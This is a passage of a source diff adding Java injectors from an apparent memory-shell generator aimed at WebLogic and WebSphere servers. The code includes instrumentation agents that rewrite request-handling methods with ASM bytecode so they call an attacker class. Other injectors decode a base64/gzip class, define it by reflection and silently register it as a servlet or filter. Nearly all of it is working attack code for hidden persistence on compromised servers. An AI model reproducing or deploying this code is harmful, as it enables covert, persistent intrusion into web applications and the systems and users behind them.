+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java

@@ -0,0 +1,269 @@
+package com.reajason.javaweb.memshell.injector.weblogic;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class WebLogicServletContextAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "weblogic/servlet/internal/WebAppServletContext";
+    private static final String TARGET_METHOD_NAME = "securedExecute";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new WebLogicServletContextAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+                System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                Type argumentType = argumentTypes[i];
+                mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                boxPrimitive(mv, argumentType);
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+
+        private void boxPrimitive(MethodVisitor mv, Type type) {
+            if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
+                return; // Already an object
+            }
+
+            String owner;
+            String descriptor;
+
+            switch (type.getSort()) {
+                case Type.BOOLEAN:
+                    owner = "java/lang/Boolean";
+                    descriptor = "(Z)Ljava/lang/Boolean;";
+                    break;
+                case Type.CHAR:
+                    owner = "java/lang/Character";
+                    descriptor = "(C)Ljava/lang/Character;";
+                    break;
+                case Type.BYTE:
+                    owner = "java/lang/Byte";
+                    descriptor = "(B)Ljava/lang/Byte;";
+                    break;
+                case Type.SHORT:
+                    owner = "java/lang/Short";
+                    descriptor = "(S)Ljava/lang/Short;";
+                    break;
+                case Type.INT:
+                    owner = "java/lang/Integer";
+                    descriptor = "(I)Ljava/lang/Integer;";
+                    break;
+                case Type.FLOAT:
+                    owner = "java/lang/Float";
+                    descriptor = "(F)Ljava/lang/Float;";
+                    break;
+                case Type.LONG:
+                    owner = "java/lang/Long";
+                    descriptor = "(J)Ljava/lang/Long;";
+                    break;
+                case Type.DOUBLE:
+                    owner = "java/lang/Double";
+                    descriptor = "(D)Ljava/lang/Double;";
+                    break;
+                default:
+                    // Should not happen for primitive types
+                    return;
+            }
+            mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java

@@ -0,0 +1,247 @@
+package com.reajason.javaweb.memshell.injector.weblogic;
+
+import javax.servlet.Servlet;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class WebLogicServletInjector {
+
+    static {
+        new WebLogicServletInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public WebLogicServletInjector() {
+        try {
+            Object[] contexts = getContext();
+            for (Object context : contexts) {
+                Object servlet = getShell(context);
+                inject(context, servlet);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static Object[] getContextsByMbean() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
+        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
+        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
+        theOneMethod.setAccessible(true);
+        Object serverRuntime = theOneMethod.invoke(null);
+        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
+        getApplicationRuntimesMethod.setAccessible(true);
+        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
+        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
+        for (int i = 0; i < applicationRuntimeSize; i++) {
+            Object applicationRuntime = Array.get(applicationRuntimes, i);
+            try {
+                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
+                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
+                int componentRuntimeSize = Array.getLength(componentRuntimes);
+                for (int j = 0; j < componentRuntimeSize; j++) {
+                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
+                    if (webAppServletContextClass.isInstance(context)) {
+                        webappContexts.add(context);
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+
+            try {
+                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
+                for (Object componentRuntime : childrenSet) {
+                    try {
+                        Object context = getFieldValue(componentRuntime, "context");
+                        if (webAppServletContextClass.isInstance(context)) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContextsByThreads() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread != null) {
+                Object workEntry = getFieldValue(thread, "workEntry");
+                if (workEntry != null) {
+                    try {
+                        Object context = null;
+                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                        if (connectionHandler != null) {
+                            Object request = getFieldValue(connectionHandler, "request");
+                            if (request != null) {
+                                context = getFieldValue(request, "context");
+                            }
+                        }
+                        if (context == null) {
+                            context = getFieldValue(workEntry, "context");
+                        }
+
+                        if (context != null) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContext() {
+        Set<Object> webappContexts = new HashSet<Object>();
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
+        } catch (Throwable ignored) {
+        }
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
+        } catch (Throwable ignored) {
+        }
+        return webappContexts.toArray();
+    }
+
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "classLoader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    /**
+     * server/lib/weblogic.jar
+     * weblogic.servlet.internal.WebAppServletContext
+     */
+    public void inject(Object context, Object servlet) throws Exception {
+        // weblogic.servlet.utils.URLMapping
+        Object servletMapping = invokeMethod(context, "getServletMapping", null, null);
+        Class<?> webAppServletContextClass = context.getClass();
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        Class<?> servletStubImplClass = contextClassLoader.loadClass("weblogic.servlet.internal.ServletStubImpl");
+        Object servletStub = null;
+        Constructor<?> servletStubImplConstructor = null;
+        try {
+            servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, Servlet.class, webAppServletContextClass);
+            servletStubImplConstructor.setAccessible(true);
+            servletStub = servletStubImplConstructor.newInstance(getClassName(), servlet, context);
+        } catch (NoSuchMethodException e) {
+            // 10.3.6
+            servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, String.class, webAppServletContextClass, Map.class);
+            servletStubImplConstructor.setAccessible(true);
+            servletStub = servletStubImplConstructor.newInstance(getClassName(), getClassName(), context, null);
+        }
+        Constructor<?> urlMatchHelperConstructor = contextClassLoader.loadClass("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, servletStubImplClass);
+        urlMatchHelperConstructor.setAccessible(true);
+        Object urlMatchHelper = urlMatchHelperConstructor.newInstance(getUrlPattern(), servletStub);
+        Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        if (mapping == null) {
+            invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper});
+            System.out.println("servlet inject successful");
+        } else {
+            System.out.println("servlet already injected");
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = obj.getClass();
+        Method method = clazz.getDeclaredMethod(methodName, paramClazz);
+        method.setAccessible(true);
+        return method.invoke(obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java

@@ -0,0 +1,219 @@
+package com.reajason.javaweb.memshell.injector.websphere;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager";
+    private static final String TARGET_METHOD_NAME = "doFilter";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new WebSphereFilterChainAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+                System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

@@ -0,0 +1,238 @@
+package com.reajason.javaweb.memshell.injector.websphere;
+
+import javax.servlet.Filter;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+
+/**
+ * tested v7、v8
+ * update  2023/07/08
+ *
+ * @author ReaJason
+ */
+public class WebSphereFilterInjector {
+
+    static {
+        new WebSphereFilterInjector();
+    }
+
+    public WebSphereFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getShell(context);
+                inject(context, filter);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    /**
+     * com.ibm.ws.webcontainer.webapp.WebAppImpl
+     * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
+     */
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Object context;
+        Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        Object[] wsThreadLocals = (Object[]) obj;
+        for (Object wsThreadLocal : wsThreadLocals) {
+            obj = wsThreadLocal;
+            // for websphere 7.x
+            if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFieldValue(obj, "stack");
+                for (Object stack : stackList) {
+                    try {
+                        Object config = getFieldValue(stack, "config");
+                        context = getFieldValue(getFieldValue(config, "context"), "context");
+                        contexts.add(context);
+                    } catch (Exception ignored) {
+                    }
+                }
+            } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
+                context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
+                contexts.add(context);
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "loader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object context, Object filter) throws Exception {
+        if (isInjected(context)) {
+            System.out.println("filter already injected");
+            return;
+        }
+
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
+        Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
+        Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
+
